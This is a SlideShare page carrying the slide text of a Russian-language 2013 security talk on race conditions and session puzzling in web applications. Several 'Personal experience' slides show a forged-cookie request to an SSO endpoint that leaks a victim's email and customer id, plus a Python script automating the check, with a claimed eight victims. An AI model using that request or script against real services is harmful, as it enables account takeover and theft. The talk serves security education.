Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.

4.3. Rat races conditions

460 Aufrufe

Veröffentlicht am

Meeting #4.

Veröffentlicht in: Internet
  • Als Erste(r) kommentieren

  • Gehören Sie zu den Ersten, denen das gefällt!

4.3. Rat races conditions

  1. 1. Крысиные бега, или Взлом одной кнопкой By Alexander Antukh Nov 23, 2013
  2. 2. /whoami Alexander Antukh  Security Consultant  OWASP Full Member  Interests: mammoths and stuff
  3. 3. 3 Agenda • Race conditions • Session management • Personal experience • Extras • Q&A Крысиные бега, или Взлом одной кнопкой
  4. 4. 4 Race conditions Крысиные бега, или Взлом одной кнопкой Состояние гонки – ошибка проектирования многопоточной системы или приложения, при которой работа системы или приложения зависит от того, в каком порядке выполняются части кода. Оно наступает в случае, когда два или более потока в параллельной программе одновременно обращаются к одной структуре данных, причем между ними нет принудительного упорядочивания во времени и хотя бы одно из этих обращений – на запись. https://www.owasp.org/index.php/Race_Conditions
  5. 5. 5 Race conditions Крысиные бега, или Взлом одной кнопкой
  6. 6. 6 Race conditions Крысиные бега, или Взлом одной кнопкой int x; // Поток 1: while (!stop) { x++; …} // Поток 2: while (!stop) { if (x%2 == 0) System.out.println("x=" + x); … } x = 0  if (x%2 == 0)  x++;  System.out.println("x=" + x); x = 1
  7. 7. 7 Race conditions Крысиные бега, или Взлом одной кнопкой Therac-25 "Одна и та же переменная применялась как для анализа введённых чисел, так и для определения положения поворотного круга. Поэтому при быстром вводе Therac мог иметь дело с неправильным положением поворотного круга... Что приводило к переоблучению пациента"
  8. 8. 8 Race conditions Крысиные бега, или Взлом одной кнопкой Inherent latency Y N Эффективное обнаружение и эксплуатация • Транзакции БД • SOA (service-oriented architecture) • Backend-операции • . . . Трудно найти легко потерять, невозможно забыть и воспроизвести, особенно в blackbox • Менеджмент сессий • . . . • PROFIT!!!
  9. 9. 9 Session management Крысиные бега, или Взлом одной кнопкой Процесс генерации и присвоения идентификатора сессии Web Server Session Memory Session ID abcd123 cbcr321 Memory Allocation 0xAA… 0xBB… Set-cookie: SID=abcd123 Cookie: SID=abcd123 Domain Cookie SID=abcd123 Первичный доступ к домену Initial Browser Access Session Identifier Generation Session Memory Association Session Identifier Storage Session Identifier Reuse
  10. 10. 10 Session management Крысиные бега, или Взлом одной кнопкой • При первичном обращении браузера к серверу генерируется новый, уникальный идентификатор сессии • Обычно идентификатор сессии возвращается клиенту в заголовке ответа "Set-Cookie" • Браузер сохраняет SessID в доменнозависимых cookie, которые отправляются на сервер при каждом запросе
  11. 11. 11 Session puzzling Крысиные бега, или Взлом одной кнопкой Session puzzling – уязвимости прикладного уровня, позволяющие атакующему выполнять множество различных вредоносных действий путем манипуляций с переменными сессии: – Обход аутентификации – Повышение привилегий и логин под чужим аккаунтом – Обход ограничений в многофазных процессах – Выполнение “традиционных атак” (например, инъекций) – Воздействие на адресата доставки контента – . . .
  12. 12. 12 Session puzzling Крысиные бега, или Взлом одной кнопкой Принцип: приложение использует одни и те же переменные сессии более, чем для одной цели
  13. 13. 13 Session puzzling Крысиные бега, или Взлом одной кнопкой Возможные причины возникновения session puzzling : – Преждевременное присвоение объектов сессии в публично доступных точках входа – Неоправданное хранение данных в памяти сессий – Одни и те же переменные сессии используются различными процессами – Использование сессионных флагов в легальном функционале приложения – Отсутствие валидации для “доверенных” данных, генерируемых на основе сессии – Неэффективные или неполные механизмы аутентификации и авторизации – Баги в сценариях приложения, которые способствуют созданию или предотвращению удаления переменных сессии
  14. 14. 14 Session puzzling Крысиные бега, или Взлом одной кнопкой
  15. 15. 15 Personal experience Крысиные бега, или Взлом одной кнопкой PWN
  16. 16. 16 Personal experience Крысиные бега, или Взлом одной кнопкой
  17. 17. 17 Personal experience Крысиные бега, или Взлом одной кнопкой GET /sso/authorized.js?callback=xxx_auth HTTP/1.1 . . . Cookie: apex__pref-language=en-GB; sso_id=null HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Sep 2013 12:31:16 GMT Content-Type: application/javascript Content-Length: 120 Connection: keep-alive X-Fong-Id: c9c41e00-39ef-4bfa-bc34-09b5ae2b7704 var sso_provider = {}; sso_provider.email="victim-email@gmail.com"; sso_provider.cust_id="12345678"; xxx_auth(true);
  18. 18. 18 Personal experience Крысиные бега, или Взлом одной кнопкой def check(): path = 'https://sso.xxx.com/sso/authorized.js?' cookie = 'apex__pref-language=en-GB; sso_id=null' params = urllib.urlencode({'callback':'xxx_auth'}) headers = { 'Cookie': cookie } url = path+params req = urllib2.Request(url, headers=headers) response = urllib2.urlopen(req) the_page = response.read() if the_page != 'xxx_auth(false)': return the_page return 0
  19. 19. 19 Personal experience Крысиные бега, или Взлом одной кнопкой Статистика: • 1 вечер • 8 жертв • Суммарный счет: более 50000$
  20. 20. 20 Extras • Race conditions • Session management • Personal experience • Extras • Q&A Крысиные бега, или Взлом одной кнопкой
  21. 21. 21 Extras Крысиные бега, или Взлом одной кнопкой Moar videos, materials and TESTING FIELD: http://code.google.com/p/puzzlemall/
  22. 22. 22 Q&A Крысиные бега, или Взлом одной кнопкой

×